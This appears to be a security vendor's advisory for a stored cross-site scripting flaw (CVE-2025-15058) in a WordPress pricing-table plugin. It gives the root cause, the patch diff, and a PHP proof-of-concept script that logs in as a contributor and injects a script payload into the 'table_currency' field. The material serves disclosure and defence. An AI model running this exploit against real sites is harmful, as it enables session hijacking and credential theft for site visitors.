Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15058: Responsive Pricing Table <= 5.1.12 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'table_currency' (dk-pricr-responsive-pricing-table)

Severity Medium (CVSS 6.4)
CWE 80
Vulnerable Version 5.1.12
Patched Version 5.1.13
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15058:
The Responsive Pricing Table WordPress plugin version 5.1.12 and earlier contains an authenticated stored cross-site scripting vulnerability. The vulnerability exists in the plugin’s table currency setting functionality, allowing Contributor-level and higher authenticated users to inject arbitrary JavaScript. The CVSS 6.4 score reflects the attack’s impact on confidentiality and integrity with low attack complexity.

Atomic Edge research identified the root cause as insufficient input sanitization and output escaping for the ‘table_currency’ parameter. In the vulnerable version, the file `dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-settings.php` at line 196 directly echoes the `$settings[‘_rpt_currency’]` value into an HTML input field without proper escaping. The file `dk-pricr-responsive-pricing-table/inc/rpt-save-metaboxes.php` at line 84 uses `wp_kses_post()` for sanitization, which permits some HTML tags including script elements. The file `dk-pricr-responsive-pricing-table/inc/rpt-shortcode.php` at line 167 uses `wp_kses_post()` for output, which also fails to neutralize script tags.

Attackers exploit this vulnerability by submitting malicious JavaScript payloads through the ‘table_currency’ parameter when editing or creating pricing tables. The attack vector requires Contributor-level authentication to access the plugin’s settings interface. Attackers craft payloads like `alert(document.cookie)` and submit them via POST requests to the WordPress admin area where the plugin processes pricing table settings. The payload persists in the database and executes whenever any user views a page containing the compromised pricing table shortcode.

The patch addresses the vulnerability through multiple defensive layers. In `rpt-metaboxes-settings.php` line 196, the fix adds `esc_attr()` to escape the currency value when outputting to the form field. In `rpt-save-metaboxes.php` line 84, the patch replaces `wp_kses_post()` with `sanitize_text_field()` during input processing, which strips all HTML tags. In `rpt-shortcode.php` line 167, the patch replaces `wp_kses_post()` with `esc_html()` during output rendering, which encodes HTML entities. These changes collectively prevent JavaScript execution by ensuring proper context-aware escaping at both input and output stages.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the compromised pricing table. This enables session hijacking, credential theft, administrative actions through CSRF, and defacement of affected pages. The stored nature means the payload executes for all subsequent visitors without further attacker interaction. While Contributor authentication is required, this privilege level is commonly granted to untrusted users in multi-author WordPress sites, making the vulnerability significant for shared hosting environments.

Differential between vulnerable and patched code

Code Diff
--- a/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-plans.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-plans.php
@@ -290,7 +290,7 @@
         <div class="dmb_clearfix"></div>

         <div class="dmb_grid dmb_grid_35 dmb_grid_first dmb_grid_last">
-            <div class="dmb_icon_data_url" data-icon="<?php echo $plan['_rpt_icon']; ?>"></div>
+            <div class="dmb_icon_data_url" data-icon="<?php echo esc_attr($plan['_rpt_icon']); ?>"></div>
             <input class="dmb_field dmb_icon_field" name="plan_icons[]" type="text" value="" />
             <div class="dmb_upload_icon_btn dmb_button dmb_button_large dmb_button_blue">
                 <?php _e('Upload icon', RPT_TXTDM ) ?> 
--- a/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-settings.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-metaboxes-settings.php
@@ -196,7 +196,7 @@
 		<div class="dmb_field_title">
 			<?php _e('Currency', RPT_TXTDM ) ?>
 		</div>
-		<input class="dmb_field" type="text" name="table_currency" value="<?php echo $settings['_rpt_currency']; ?>" placeholder="<?php _e('e.g. $', RPT_TXTDM ) ?>" />
+		<input class="dmb_field" type="text" name="table_currency" value="<?php echo esc_attr($settings['_rpt_currency']); ?>" placeholder="<?php _e('e.g. $', RPT_TXTDM ) ?>" />
 	</div>

 	<div class="dmb_clearfix"></div>
--- a/dk-pricr-responsive-pricing-table/inc/rpt-save-metaboxes.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-save-metaboxes.php
@@ -81,10 +81,10 @@
             (isset($_POST['are_recommended_plans'][$i]) && $_POST['are_recommended_plans'][$i]) ? $new_plans[$i]['_rpt_recommended'] = $_POST['are_recommended_plans'][$i] : $new_plans[$i]['_rpt_recommended'] = 'no';
             (isset($_POST['are_removed_currencies'][$i]) && $_POST['are_removed_currencies'][$i]) ? $new_plans[$i]['_rpt_free'] = $_POST['are_removed_currencies'][$i] : $new_plans[$i]['_rpt_free'] = 'no';
             (isset($_POST['plan_custom_classes'][$i]) && $_POST['plan_custom_classes'][$i]) ? $new_plans[$i]['_rpt_custom_classes'] = stripslashes(strip_tags(sanitize_text_field($_POST['plan_custom_classes'][$i]))) : $new_plans[$i]['_rpt_custom_classes'] = '';
-            (isset($_POST['plan_icons'][$i]) && $_POST['plan_icons'][$i]) ? $new_plans[$i]['_rpt_icon'] = stripslashes(strip_tags(sanitize_text_field($_POST['plan_icons'][$i]))) : $new_plans[$i]['_rpt_icon'] = '';
+            (isset($_POST['plan_icons'][$i]) && $_POST['plan_icons'][$i]) ? $new_plans[$i]['_rpt_icon'] = esc_url_raw($_POST['plan_icons'][$i]) : $new_plans[$i]['_rpt_icon'] = '';

             /* Plan settings. */
-            (isset($_POST['table_currency']) && $_POST['table_currency']) ? $table_currency = stripslashes(wp_kses_post($_POST['table_currency'])) : $table_currency = '';
+            (isset($_POST['table_currency']) && $_POST['table_currency']) ? $table_currency = sanitize_text_field($_POST['table_currency']) : $table_currency = '';
             (isset($_POST['table_btn_behavior']) && $_POST['table_btn_behavior']) ? $table_btn_behavior = stripslashes(strip_tags(sanitize_text_field($_POST['table_btn_behavior']))) : $table_btn_behavior = '';

             /* Font sizes. */
--- a/dk-pricr-responsive-pricing-table/inc/rpt-shortcode.php
+++ b/dk-pricr-responsive-pricing-table/inc/rpt-shortcode.php
@@ -139,7 +139,7 @@
                     $table_view .= '<div '.$title_style.' class="rpt_title rpt_title_'.$key.'">';

                     if (!empty($plan['_rpt_icon'])) {
-                        $table_view .= '<img src="'.$plan['_rpt_icon'].'" class="rpt_icon rpt_icon_'.$key.'"/> ';
+                        $table_view .= '<img src="'.esc_url($plan['_rpt_icon']).'" class="rpt_icon rpt_icon_'.$key.'"/> ';
                     }

                     $table_view .= wp_kses_post($plan['_rpt_title']);
@@ -164,9 +164,9 @@
                         $currency = get_post_meta($post->ID, '_rpt_currency', true);

                         if (!empty($currency)) {
-                            $table_view .= '<sup class="rpt_currency">';
-                            $table_view .= wp_kses_post($currency);
-                            $table_view .= '</sup>';
+                        $table_view .= '<sup class="rpt_currency">';
+                        $table_view .= esc_html($currency);
+                        $table_view .= '</sup>';
                         }

                         $table_view .= do_shortcode(wp_kses_post($plan['_rpt_price']));
--- a/dk-pricr-responsive-pricing-table/rpt.php
+++ b/dk-pricr-responsive-pricing-table/rpt.php
@@ -4,7 +4,7 @@
  * Plugin Name: Responsive Pricing Table
  * Plugin URI: https://wpdarko.com/items/responsive-pricing-table-pro/
  * Description: A responsive, easy and elegant way to present your offer to your visitors. Just create a new pricing table (custom type) and copy-paste the shortcode into your posts/pages. Find help and information on our <a href="https://help.wpdarko.com/en">support site</a>. This free version is NOT limited and does not contain any ad. Check out the <a href='https://wpdarko.com/items/responsive-pricing-table-pro/'>PRO version</a> for more great features.
- * Version: 5.1.12
+ * Version: 5.1.13
  * Author: WP Darko
  * Author URI: https://wpdarko.com
  * Text Domain: dk-pricr-responsive-pricing-table
@@ -19,7 +19,7 @@
 define('RPT_TXTDM', 'dk-pricr-responsive-pricing-table');

 /* Defines plugin's version. */
-define('RPT_VER', '5.1.12');
+define('RPT_VER', '5.1.13');

 /* General. */
 require_once 'inc/rpt-text-domain.php';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15058 - Responsive Pricing Table <= 5.1.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'table_currency'

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$payload = '<script>alert("Atomic Edge XSS Test");</script>';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute login and capture cookies
$response = curl_exec($ch);

// Check if login succeeded by looking for dashboard redirect
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Navigate to the pricing table creation/edit page
// First, we need to find a pricing table post ID to edit
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit.php?post_type=wpdark_rpt');
$response = curl_exec($ch);

// Extract first pricing table edit link (simplified - in real scenario would parse HTML)
// For this PoC, we assume we're creating a new pricing table
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=wpdark_rpt');
$response = curl_exec($ch);

// Extract nonce from the page (simplified - would need proper HTML parsing)
// For demonstration, we'll use a placeholder nonce extraction
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Submit the malicious currency payload
// The plugin saves settings via admin-post.php or similar endpoint
// Based on the code, the 'table_currency' parameter is processed in rpt-save-metaboxes.php
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'editpost',
    'post_type' => 'wpdark_rpt',
    '_wpnonce' => $nonce,
    'table_currency' => $payload,
    'save' => 'Save Pricing Table'
]));

$response = curl_exec($ch);

// Verify payload was stored by checking if script appears in page source
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit.php?post_type=wpdark_rpt');
$response = curl_exec($ch);

if (strpos($response, $payload) !== false) {
    echo 'Payload successfully injected. XSS will trigger when users view the pricing table.';
} else {
    echo 'Payload injection may have failed. Check permissions and nonce.';
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School